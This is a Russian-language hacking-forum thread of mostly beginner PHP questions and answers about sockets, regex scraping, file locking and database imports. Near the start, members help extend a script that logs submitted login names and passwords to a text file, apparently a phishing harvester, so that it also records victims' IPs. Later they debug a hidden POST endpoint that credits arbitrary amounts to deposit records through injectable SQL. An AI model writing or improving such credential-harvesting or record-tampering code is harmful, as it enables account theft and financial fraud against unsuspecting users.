всё вроде заработало
спасибо
с меня +
Как скопировать последние N символов из строки?
а вот хотел ещё спросить
что ещё нужно дописать сюда
if(isset($_POST['login'])){
$fp = fopen ("antiemo.txt", "a");
fwrite ($fp, "$_POST[req_username] : $_POST[req_password] \n");
fclose ($fp);
чтобы вписывало ещё и айпи адресс
да много чего можно написать =)
<?php
echo "<pre>";
print_r ($GLOBALS);
echo "</pre>";
?>
Выбирай =)
Dr.Frank
25.06.2007, 08:29
да много чего можно написать =)
+ к этому информация о браузере
foreach (getallheaders() as $header => $value){
echo "$header: $value<br/>";
}
Dr.Frank, большинство хидеров будут доступны в $_SERVER['HTTP_header'], например, $_SERVER['HTTP_USER_AGENT'], $_SERVER['HTTP_IF_MODIFIED_SINCE'] и проч. Поэтому это уже излишне
Можно ли осуществить запрет на все браузеры отличные от Ie?
Дело в том, что по-разному отображается контент, в зависимости от браузера, а пока что только такой метод считаю целесообразным. Буду оч. благодарен за любую подсказку.
$_SERVER['REMOTE_ADDR'];
а как этот код сюда дописать?
if(isset($_POST['login'])){
$fp = fopen ("antiemo.txt", "a");
fwrite ($fp, "$_POST[req_username] : $_POST[req_password] \n");
fclose ($fp);
з.ы, сор за тупые вопросы , пока только начинаю))))
более правильно будет
fwrite ($fp, "IP: ".$_SERVER['REMOTE_ADDR']." UserName: ".$_POST['req_username']." Password: ".$_POST['req_password']." \n");
iNVLose, такой вариант не прокатит. апострофы тогда надо убрать.
Более правильный вариант предложил ENFIX - переменные рекомендуется вносить за пределы строк, объединяя их со строковыми константами конкатенацией "."
Такая проблема
21. $p = explode("?",$link);
22. $p1 = strlen($p[0]);
23. $p2 = strlen($p[1]);
Пишет:
Notice: Undefined offset: 1 in T:\home\localhost\test.php on line 23
Как можно исправить?
Вопрос исчерпан.
23 строка:
if (isset($p[1])) $p2 = strlen($p[1]);
только начинаю учить пхп подскажите пожайлусто как отправить пост запрос с переменными с помощью сокетов и получить ответ
ну как примерно в этом только нужен post с переменными
<?php
$fp = fsockopen("www.yandex.ru", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: www.yandex.ru\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
$post_data = "a=1&b=2&c=3&d=4";
$length = strlen ( $post_data );
$header = "POST http://forum.antichat.ru/index.php HTTP/1.0\r\n" .
"Content-Type: application/x-www-form-urlencoded\r\n".
"Host: forum.antichat.ru\r\n".
"Content-Length: $length\r\n\r\n".
$post_data;
Заголовок такой. Остальное аналогично.
$post_data = "a=1&b=2&c=3&d=4";
$length = strlen ( $post_data );
$header = "POST http://forum.antichat.ru/index.php HTTP/1.0\r\n" .
"Content-Type: application/x-www-form-urlencoded\r\n".
"Host: forum.antichat.ru\r\n".
"Content-Length: $length\r\n\r\n".
$post_data;
Заголовок такой. Остальное аналогично.
делаю вот так
<?php
$fp = fsockopen("www.passport.yandex.ru", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$post_data = "retpath=http%3A%2F%2Fmail.yandex.ru%2F×tamp=1182979341312&login=zz&passwd=zz";
$length = strlen ( $post_data );
$header = "http://passport.yandex.ru/passport?mode=auth HTTP/1.0\r\n" .
$header ="Content-Type: application/x-www-form-urlencoded\r\n".
$header ="Host: passport.yandex.ru\r\n".
$header ="Content-Length: $length\r\n\r\n".
$post_data;
fwrite($fp, $header);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
пишет
Bad Request
Your browser sent a request that this server could not understand.
Invalid URI in request http://passport.yandex.ru/passport?mode=auth HTTP/1.0
GoreMaster
28.06.2007, 14:32
$header = "POST /passport?mode=auth HTTP/1.0\r\n" .
$header .="Host: passport.yandex.ru\r\n".
$header .="Content-Type: application/x-www-form-urlencoded\r\n".
$header .="Content-Length: $length\r\n\r\n".
Вот так
Чем можно заменить
header('Location...');
<META HTTP-EQUIV='Refresh' Content='0; URL=http://сайт.ру' >
Joker-jar
29.06.2007, 13:50
Или через JavaScript
Или через JavaScript
location.href='страница.html'
FreeNeDiX
01.07.2007, 02:02
Приф всем, вот такой вопрос...
Реально ли сделать грабер контента с html паги, ну пример странички HTML:
<html>
<head>
<meta http-equiv="Content-Language" content="ru">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Новость</title>
</head>
<body>
<table cellpadding="0" cellspacing="0" width="644">
<tr>
<td height="55" width="644" colspan="3" valign="top"><b><font size="7">
Супер сайт</font></b></td>
</tr>
<tr>
<td height="253" width="90" valign="top">Навигация<p>1</p>
<p>2</p>
<p>3</p>
<p>4</p>
<p>5</td>
<td height="253" width="424" valign="top">
<p align="left"><b>Новости:</b></p>
<p>Итак, по последним данным нам стало....</td>
<td height="253" width="130" valign="top">ССЫЛКИ<p> </p>
<p>1</p>
<p>2</p>
<p>3</p>
<p>4</p>
<p> </td>
</tr>
<tr>
<td height="59" width="644" colspan="3" valign="top">
<p align="center">копирайт</td>
</tr>
</table>
</body>
</html>
Вот полный код страницы, можно ли на другом сайте каким-либо образом сграбить все что относится к этому куску кода:
...
<p align="left"><b>Новости:</b></p>
<p>Итак, по последним данным нам стало....
...
Можно или нет?
Если да, то подскажите каким образом.
GoreMaster
01.07.2007, 02:16
Regular Expressions используй и будет тебе счастье
-------------------------------------------------
$pattern = '/(<p align="left"><b>Новости:<\/b><\/p><p>)(.*)(<\/td>)/'
preg_match($pattern,$str,$cout)
-------------------------------------------------------------------------
в $cout[2] будет лежать "Итак, по последним данным нам стало...."
З.Ы.:РегЭксп примитивный,думаю профи подправят, но идею изложил
FreeNeDiX, используй теги [.php], [.html]
$pattern = '#<p align="left"><b>Новости:</b></p><p>(.*)</td>#is'
preg_match($pattern,$str,$cout)
spamoney
01.07.2007, 11:35
В общем, нужен скрипт, который бы архивировал папки на сервере в .zip или .gzip, нашел такой скрипт
http://slil.ru/24577297
, но он работает почему то только на локалке, а на сервере не хочет :( наверно из-за того что там safe mode: on. Может у кого-нибудь есть рабочий, что б в safe mode работал?
можно ли на другом сайте каким-либо образом сграбить все что относится к этому куску кода:
$sh = file_get_contents("http://www.site.ru/news.html", False);
$sh = chop($sh);
Только "allow_url_open" должно быть "on".
spamoney, уже не раз говорили, что скачивать никто ничего не будет..
Выкладывай скрипт сюда!
spamoney
01.07.2007, 13:17
spamoney, уже не раз говорили, что скачивать никто ничего не будет..
Выкладывай скрипт сюда!
Там более 200 кб php кода, выложить не получается, форум выдает ошибку:
При размещении сообщения были допущены следующие ошибки::
1.Пожалуйста, заполните поля темы и текста сообщения. Вернитесь назад, заполните поля и попробуйте снова.
2.Набранное вами сообщение слишком короткое. Увеличьте ваше сообщение до 2 символов.
Может тогда кто-нибудь сможет написать скрипт для архивирования папок на сервере при включенном safe mode?
Там более 200 кб php кода, выложить не получается, форум выдает ошибку:
Может тогда кто-нибудь сможет написать скрипт для архивирования папок на сервере при включенном safe mode?
А ты попробуй поставить 2 символа после закрытия тега [./php]
Ведь по-русски напсиано
FreeNeDiX
01.07.2007, 16:09
Спасиб парни, буду тестить.
FreeNeDiX
01.07.2007, 19:05
Хмм, регулярные выражения значит, в принципе все должно работать, скажите что не так?
<?php
$url = "http://site.nu/news.html";
$content = file_get_contents($url);
$pattern = '#<p align="left"><b>Новости:</b></p><p>(.*)</td>#is';
preg_match($pattern,$content,$out);
print($out);
?>
В итоге вместо нужной новости я вижу надпись Array.
Что не так?
В итоге вместо нужной новости я вижу надпись Array.
Что не так?
mixed preg_match ( string pattern, string subject [, array &matches [, int flags [, int offset]]] ) Ищет в заданном тексте subject совпадения с шаблоном pattern.
В случае, если дополнительный параметр matches указан, он будет заполнен результатами поиска.
Элемент $matches[0] будет содержать часть строки, соответствующую вхождению всего шаблона, $matches[1] - часть строки, соответствующую первой подмаске, и так далее.
Попробуй
print($out[0];
FreeNeDiX
02.07.2007, 01:44
print_r($out); пробовал, не работает, точнее вместо Array, выводится Array ( ).
Не print($out[0];
а print($out[0]);, иначе ошибка...хотя все равно не работает и высвечивается...точнее ничего не выводится на экран. Мистика...
если $out массив то таким макаром он и не выведет. Почитайте про обход массивов.
Тебе дали нерабочую регулярку. Но тем не менее проверь, действительно ли в переменной $content содержится нужная страница.
И нужно было проявить минимум смекалки, чтобы догодаться, что если переменная пустая, когда при echo $variable; ничего не выводится. Я не знаю кем надо быть, чтобы по этому поводу вопросы задавать. Аналогично по функции print_r (http://php.net/print_r). Только тут еще надо хотя-бы слегка быть знакомым с понятием массив.
$pattern = "/<p\salign\=\"left\"\>\<b\>(.+?)\<\/b\>\<\/p\>\s+\<p\>(.+?)\<\/td\>/is";
FreeNeDiX
02.07.2007, 05:56
Да, дейсвительно, спасибо тебе blaga. Вот полностью рабочий код:
<?php
$url = "http://site.nu/news.html";
$content = file_get_contents($url);
$pattern = "@<td height=\"40\" valign=\"top\"><b>Новость:</b><p>(.*)</td>@isU";
preg_match_all($pattern, $content, $out);
foreach($out[0] as $info)
{
echo("$info");
}
?>
Суть проблемы в том, что есть скрипт работает с определенным файлом, считывание и запись в него, как возможно заблокировать как нибудь допуск к этому файлу пока работает это скрипт, и от повторной запуски данного скрипта?
DIAgen, тебе нужна функция flock()
if($fp=fopen($filename,'w') && flock($fp,LOCK_EX))
/*LOCK_EX - блокировка
взаимоисключающего доступа(используется для записи)*/
{
$rs=fwrite($fp,$content);
flock($fp, LOCK_UN); //LOCK_UN снять блок
fclose($fp);
return $rs;
}
для чтения используй LOCK_SH
У меня такой вопрос я не могу подключить библиотеку php_sockets.dll(. Вроде всё делал так же как и при подключении библиотеки для работы с скуль( но скуль работает а это нет). За рание благодарен.
У меня такой вопрос я не могу подключить библиотеку php_sockets.dll(. Вроде всё делал так же как и при подключении библиотеки для работы с скуль( но скуль работает а это нет). За рание благодарен.
куда ты ставил? на локалхост? если да, то как?
я ставил так: скопировал .dll в каталог %WINDIR%\SYSTEM и раскомментировал строчку
;extension=php_sockets.dll //string #587
в php.ini (раздел Динамические Загружаемые Расширения)
n1†R0x да вроде всё так и делал. Ettee правильно указан.
такая проблема
пользую функции imagettftext()
для генерации текста на картинке
проблема в том что вместо русских символов отображаются неведомые мне закорючки
побывал перекодировать строку =( эффекта никакого отображаются закорючки но уже другие
need help
з.ы. пользую шрифт arial.ttf стандартный видновый т.е. кириллицу поддреживает
function toUnicodeEntities($text, $from="w")
{
$text = convert_cyr_string($text, $from, "i");
$uni = "";
for ($i=0, $len=strlen($text); $i<$len; $i++)
{
$char = $text{$i};
$code = ord($char);
$uni .= ($code>175)? "&#" . (1040+($code-176)) . ";" : $char;
}
return $uni;
}
Вот такая функция перекодировки должна работать.
Gho_st, сначала нужно конвертировать твой текст в unicode.
http://articles.org.ru/cfaq/index.php?qid=1876&frommostrecent=yes
spamoney
08.07.2007, 14:44
Есть файл с цитатами
quote.txt, цитаты пронуменованы от 001 до 961, их нужно как то запихнуть в базу данных, в БД такие поля:
quoteid author email date name cat quote rating ratingtot ratings
Можно ли написать такой скрипт, что бы каждую цитату заносил в поле quote, а quoteid присваивался 690 + номер цитаты в файле qupte.txt (просто в БД уже имеется 690 цитат) Ну и что бы я мог указать остальные значения полей(для каждой из цитат они будут одинаковыми)
GoreMaster
08.07.2007, 15:07
В каком виде они храняться в этом txt файле?
spamoney
08.07.2007, 15:10
001.ТекстТекстТекстТекстТек ст
-ТекстТекстТекст
-ТекстТекст
002.ТекстТекстТекстТекстТек стТекст
003.ТекстТекстТекстТекстТек стТекстТекстТекстТекст
ТекстТекстТекстТекстТекст ТекстТекстТекст
Вот в таком примерно......
ты точно напиши
а не примерно
spamoney
08.07.2007, 16:08
ты точно напиши
а не примерно
001. You're alive. Do something. The directive in life, the moral imperative was so uncomplicated. It could be expressed in single words, not complete sentences. It sounded like this: Look. Listen. Choose. Act.
. . .
002. The first step to getting the things you want out of life is this: Decide what you want.
. . .
003. Oh, life is a glorious cycle of song,
A medley of extemporanea;
And love is a thing that can never go wrong;
And I am Marie of Romania.
. . .
004. It's not true that life is one damn thing after another; it is one damn thing over and over.
. . .
005. Life is as tedious as a twice-told tale
Vexing the dull ear of a drowsy man.
. . .
006. A wretched soul, bruised with adversity,
We bid be quiet when we hear it cry;
But were we burdened with like weight of pain,
As much or more we should ourselves complain.
. . .
007. And since you know you cannot see yourself,
so well as by reflection, I, your glass,
will modestly discover to yourself,
that of yourself which you yet know not of.
Думаю сначала нужно будет с помощью граббера выбрать всё что находится между
.
. . .
записать полученный результат в файл, так чтобы каждая цитата занимала только одну строку. При этом если кол-во строк в цитате больше одной, то скрипт должен вставлять тэг br
т.е скрипт должен выбрать из
006. A wretched soul, bruised with adversity,
We bid be quiet when we hear it cry;
But were we burdened with like weight of pain,
As much or more we should ourselves complain.
. . .
только
A wretched soul, bruised with adversity,
We bid be quiet when we hear it cry;
But were we burdened with like weight of pain,
As much or more we should ourselves complain.
записав в файл это одной строчкой
A wretched soul, bruised with adversity,<_br>We bid be quiet when we hear it cry;<_br>But were we burdened with like weight of pain,<_br>As much or more we should ourselves complain.
Ну а потом уже наверно будет несложно полученный файл засунуть в БД.
Вот, может кто знает как это все реализовать?
Работаешь с файлом, делишь все на части и пишешь в БД.
1. Открываешь сод. файла
2. Отрезаешь все кроме текста
$file = split("\r\n. . .\r\n",$file);
3. отрезаешь цифры
4. работаешь с текстом
5. пишешь в БД
spamoney
08.07.2007, 19:36
A moshno po podrobnee, a to v php ia kak to ne o4en' razbiraus'. Esli pynkti 1,2,3,5 ya dymau smogy naiti kak sdelat' to pynkt 4 woobshe ne poniaten. P.S izweniaus' za translit-pishy s mobili
Работаешь с текстом - в плане - обработка, т.е. - убераем цифры 001. и оставляем только один текст, заменяем \n\r на <br>.можно помучать функцию обрезания :D (substr) и замены (str_replace).
spamoney,
<?php
// Тут имя твоего файла.
$fo = fopen ( 'filename.txt', 'rb' );
$text = '';
while ( ! feof ( $fo ) )
{
$text .= fgets ( $fo );
}
fclose ( $fo );
// -------------------------------
//
// Тут коннект к базе данных.
//
// -------------------------------
$array = explode ( ". . .", $text );
foreach ( $array as $key => $quote )
{
$quote = trim ( $quote );
$quote = substr ( $quote, 4 );
$quote = trim ( $quote );
// Поле quoteid должно быть auto_increment
$query = "insert into table (author, email, date, name, cat, quote, rating, ratingtot, ratings)
values ('author', 'nomail@nomail.com', ".time().", 'name', 'cat', '$quote', 0, 0)";
$mysql_query = mysql_query ( $query );
}
?>
spamoney
09.07.2007, 06:44
hhover, огромное спасибо, всё работает
только строчку
$query = "insert into table (author, email, date, name, cat, quote, rating, ratingtot, ratings)
values ('author', 'nomail@nomail.com', ".time().", 'name', 'cat', '$quote', 0, 0)";
заменил
$query = "INSERT INTO `table_quote` VALUES (NULL, 'spamoney', 'email@mail.ru', now(), 'name', 'cat', '$quote', '0', '0', '0')";
Для предотвращения всяких непоняток с заменой переменных их значениями в строках с двойными кавычками рекомендуется делать так:
$str = "bla bla bla{$war}bla";
Если бы переменная не была выделена фигурными скобками, то для замены уже бы искалась переменная $warbla, а не $war.
есть строка текста
с переносами ( \n )
нужно посчитать сколько раз переноситься текст
__
блин вроде бы примитивная задача но что-то моим способом решить её не удается=((
FreeNeDiX
12.07.2007, 03:25
Прив всем, нужно написать скрипт проверки доступности сайта.
Вот только как это реализовать правильно я хз. (
Dr.Frank
12.07.2007, 04:37
есть строка текста
с переносами ( \n )
нужно посчитать сколько раз переноситься текст
__
блин вроде бы примитивная задача но что-то моим способом решить её не удается=((
Вобще-то вот так:
$t="dsf\nads\ndf\n\ndsf\nrt"; //Заданный текст
$count=substr_count($t,"\n");
Но можно извратиться... =):
$t="dsf\nads\ndf\n\ndsf\nrt"; //Заданный текст
$r=explode("\n",$t);
$count=count($r)-1; // В переменной $count Будет количество переносов(кол-во символов "\n")
Прив всем, нужно написать скрипт проверки доступности сайта.
Вот только как это реализовать правильно я хз. (
через сокет отправляй пакет get/post методом на индекс, далее поймешь по ответу сервера.
Прив всем, нужно написать скрипт проверки доступности сайта.
Вот только как это реализовать правильно я хз. (
Да любой функцией обратиться к этому сайту... вот и всё...например
<?php
error_reporting(0);
$host="forum.antichat.ru";
$f = fsockopen($host, 80);
fwrite($f, "GET / HTTP/1.0\nHost: $host\n\n");
$str = fread($f, 1024);
echo ($str.'<br><br><br>');
if (substr($str,9,6)=="200 OK")
{
echo("ВСЁ ПРЕКРАСНО");
}
else {
echo("ВСЁ НЕПРЕКРАСНО");
}
fclose($f);
?>
Кажется так...
Если на запрашиваемом сервере вирт.хостинг и крутится туева хуча доменов, то этот скрипт будет всегда говорить, что сайт в дауне. Плюс не на каждом сайте есть страница index.html.
Нужно немного переделать:
...
fwrite($f, "GET / HTTP/1.0\nHost: yandex.ru\n\n");
...
Virus Catcher
12.07.2007, 21:04
Сделал я тут md5 криптор (еси кому нужно).
Суть такая. в окне авторизации вводим логин и пасс\
и он выдает хеши логина и паса для последующегго пользования (в различных целях)
Прооблема в то, что перед тем как выдать результат, акно авториза выскакивает аж три раза подряд!!!
в чем проблема, нипонимаю :(
А при запуске скрипта через оперу вообше не выдает результата пока в повторно-выскочевшем окошке не нажмешь "Отмена".
<?php
header('WWW-Authenticate: Basic realm="Hash-Encryptor"');
echo "hash md5 for ";
echo $_SERVER['PHP_AUTH_USER'];
echo " is: ";
echo " <br> Login: ";
echo md5($_SERVER['PHP_AUTH_USER']);
echo " <br> Password: ";
echo md5($_SERVER['PHP_AUTH_PW'])
?>
Хелп плиз!
GoreMaster
12.07.2007, 21:33
<?php
header('WWW-Authenticate: Basic realm="Hash-Encryptor"');
if(isset($_SERVER['PHP_AUTH_USER'],$_SERVER['PHP_AUTH_PW'])){
header('HTTP/1.0 Authorized');
echo "hash md5 for ";
echo $_SERVER['PHP_AUTH_USER'];
echo " is: ";
echo " <br> Login: ";
echo md5($_SERVER['PHP_AUTH_USER']);
echo " <br> Password: ";
echo md5($_SERVER['PHP_AUTH_PW']);
}
?>
Вот терь работает
В твоем случае лучше мутить через вебформу,нежели через окошко авторизации ;)
<form action="" method="GET">
Login:<br> <input type="text" name="login"><br>
Password:<br> <Input type="password" name="pass"><br>
<input type="submit" name="hash" value="Encrypt">
</form>
<?php
if(isset($_GET['hash'],$_GET['login'],$_GET['pass'])){
echo "Login: ". md5(trim($_GET['login'])) . "</br>";
echo "Pass: " . md5(trim($_GET['pass']));
}
?>
Тип такого...
FreeNeDiX
13.07.2007, 00:20
Спс, я немного доработал для вывода сразу нескольких сайтов...кста, можно ли реализовать каким либо способом многопоточность в данном скрипте?
GoreMaster
13.07.2007, 00:42
многопоточность
забудь это слово,если на пхп кодишь
FreeNeDiX
13.07.2007, 02:55
Спс, а perl?
GoreMaster
13.07.2007, 03:53
Спс, а perl?
[b]Perl[b] обсуждается в соседнем топике так что тебе туда =)
P.S.: многопоточность в перле есть
Нужно что-бы из одного поля скажем I скрипт брал информацию, и из второго поля скажем N, и строил в таком порядке. I <n>, I <n>... Но в поля будут вводиться разные данные, и их будет порядком 5-6 пар.
Как так сделать? примерчиком.
такой вопрос как в строке
$q = ' update hm2_deposits set actual_amount =actual_amount + '$depo' where id = '$my_id' ' ;
корректно прописать переменные
$depo и $my_id
ругается вот так
unexpected T_VARIABLE
не могу понять что не так
dokwill:
$q ="update hm2_deposits set actual_amount =actual_amount + '".$depo."' where id = '".$my_id."';";
файл запроса
<form action="http://www.*/1.php" method="POST"></b>
<div align="left">
<input type="hidden" name="a" value="deposit">
<input type="hidden" name="string" value="12345">
<input type=text name="my_id" size=4 value=" ">
<input type=text name="depo" size=4 value="10">
<br>
<input type="submit" value="GO">
</b>
</div></form>
это 1.php
<?
$arr = get_defined_vars ();
$depo = HTTP_POST_VARS'depo'];
$my_id = HTTP_POST_VARS['my_id'];
while (list ($kk, $vv) = each ($arr))
{
if (gettype ($$kk) != 'array')
{
$$kk = '';
continue;
}
}
include 'inc/config.inc.php';
$dbconn = db_open ();
if (!$dbconn)
{
print 'Cannot connect mysql';
exit ();
}
if (($frm['a'] == 'deposit' AND $frm_env['REQUEST_METHOD'] == 'POST'))
{
$string = '12345'. $frm_env['HTTP_HOST'];
if ($frm['string'] == '12345')
{
$q =' update hm2_deposits set actual_amount =actual_amount + '.$depo.' where id = '.$my_id.' ' ;
$sth = mysql_query ($q);
print done;
exit ();
}
?>
немогу никак прописать чтобы эти переменные $depo и $my_id. - вставляли в строку мускл разные значения
вопрос как задать и прописать - эти переменные
в мускл - а то он постоянно ругается
GoreMaster
13.07.2007, 23:23
' update hm2_deposits set actual_amount =actual_amount + '.$depo.' where id = '.$my_id.' '
замени на:
' update hm2_deposits set actual_amount =actual_amount + '".$depo."' where id = '".$my_id."''
Ты вкурсах,что запрос update заменяет предыдущие данные на новые,чтобы вставить используй запрос с Insert
Example: 'INSERT INTO `my_db` VALUES ('val1','val2',...)'
Я бы ещё посоветовал
$q ="update `hm2_deposits` set `actual_amount` =`actual_amount` + ".$depo." where `id` = '".$my_id."'" ;
Т.е. в обратные кавычки имена полей и таблицы.
$q ="update `hm2_deposits` set `actual_amount` =`actual_amount` + ".$depo." where `id` = ".$my_id." ";
да без обратных ковычек хост не воспринимает у меня
спасибо всем вроде прошел
последний вопрос
syntax error, unexpected $end
строка не закрывается
вчем трабл уже все перепробовал
GoreMaster
13.07.2007, 23:51
} забыл перед ?>
} забыл перед ?>
точняк +1 тебе и все кто помог
еще вопрос
тк это новые переменные и приходят из пост запроса
их видимо надо задать - так ?
$q ="update `hm2_deposits` set `actual_amount` =`actual_amount` + ".$depo." where `id` = ".$my_id." ";
$depo = HTTP_POST_VARS['depo'];
$my_id = HTTP_POST_VARS['my_id'];
но на это - ответ
syntax error, unexpected '[' in
что может быть?
dokwill, HTTP_POST_VARS в 6 версии будут исключены, так что лучше используй $_POST
$depo = $_POST["depo"];
$my_id = $_POST["my_id"];
Попробуй...
dokwill, HTTP_POST_VARS в 6 версии будут исключены, так что лучше используй $_POST
$depo = $_POST["depo"];
$my_id = $_POST["my_id"];
Попробуй...
А еще в пхп лучше использовать одинарные кавычки т.к. это увеличивает скорость выполнения скрипта...
GreenBear
14.07.2007, 00:42
А еще в пхп лучше использовать одинарные кавычки т.к. это увеличивает скорость выполнения скрипта...
их надо использовать там, где нет переменных.
если "1$s", то двойные, если '1s', то одинарные.
их надо использовать там, где нет переменных.
если "1$s", то двойные, если '1s', то одинарные.
$s='ddd';
print '$s'; //выведет $s
print "$s"; //выведет ddd
Great: заканчиваем оффтоп
GreenBear
14.07.2007, 14:15
Kridan, я по твоему не умею php.net читать?
тем более я сказал
их надо использовать там, где нет переменных.
GreenBear
Эт не тебе. Просто уточнение, для тех, кому не понятно, что значит там, где нет переменных.
$s='ddd';
print '$s'; //выведет $s
print "$s"; //выведет ddd
Great: заканчиваем оффтоп
А почему бы не использовать
print '.$s.'; ?
Ведь
print " bla $s bla ";
выполнится намного медленее чем
print ' bla '.$s.' bla ';
Alexkz, не намного медленние, а на 0,0001 доли секунды
И если на то пошло, то не
print '.$s.';
, а
print $s; правда?
Alexkz, не намного медленние, а на 0,0001 доли секунды
И если на то пошло, то не
print '.$s.';
, а
print $s; правда?
На счет
print $s;
Согласен, а вот по поводу
0,0001 доли секунды готов поспорить! Если скрипт перегружен выводом текстовых строк с переменными, то одинарные кавычки реально оптимизируют скрипт! это я испытал на своем скрипте чата! тем более если считать, что у меня wap-чат, где у gprs скорость передачи данных довольно низкая! Поверь, разница ощутима!
The_HuliGun
22.07.2007, 13:21
Используй следующий запрос
SELECT COUNT(DISTINCT ip) FROM counter_total
он вернет число неповторяющихся ip с базы.
Есть файл .тхт.
как сделать что выводило определённую стоку из него,или вообщем как делать манипуляции со строками?
2 1NtR0
не понял вопроса, какие именно манипуляции ты хочешь?
из тхт считывай fopen (http://ru2.php.net/manual/ru/function.fopen.php) -ом или file_get_contents (http://ru2.php.net/manual/ru/function.file-get-contents.php) -ом
А со строкая поманипулируй тут:
http://ru2.php.net/manual/ru/ref.strings.php
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot